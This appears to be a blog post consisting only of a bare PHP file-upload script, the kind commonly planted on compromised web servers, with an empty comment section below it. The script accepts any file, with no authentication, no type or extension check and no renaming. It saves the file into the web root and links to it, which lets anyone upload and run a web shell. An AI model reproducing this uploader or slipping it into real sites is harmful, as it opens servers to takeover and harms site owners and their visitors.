<!--:)--><center><form method="post" enctype="multipart/form-data"><input type="file" name="file"/><input type="submit" name="submit" value="Upload" /></form><?php$name = $_FILES['file']['name'];$temp = $_FILES['file']['tmp_name'];$dir = './'; if(isset($name)){ if(!empty($name)){ $move = move_uploaded_file($temp, $dir.$name); if(!$move){ echo "<br/>Failed To Upload $name"; } else { echo "<br/><a href='".$dir.$name."'><font size='5px'>".$name."</a> Sukses</font>"; } } else { echo "Please Choose A File!"; }}?></center>
0 comments:
Post a Comment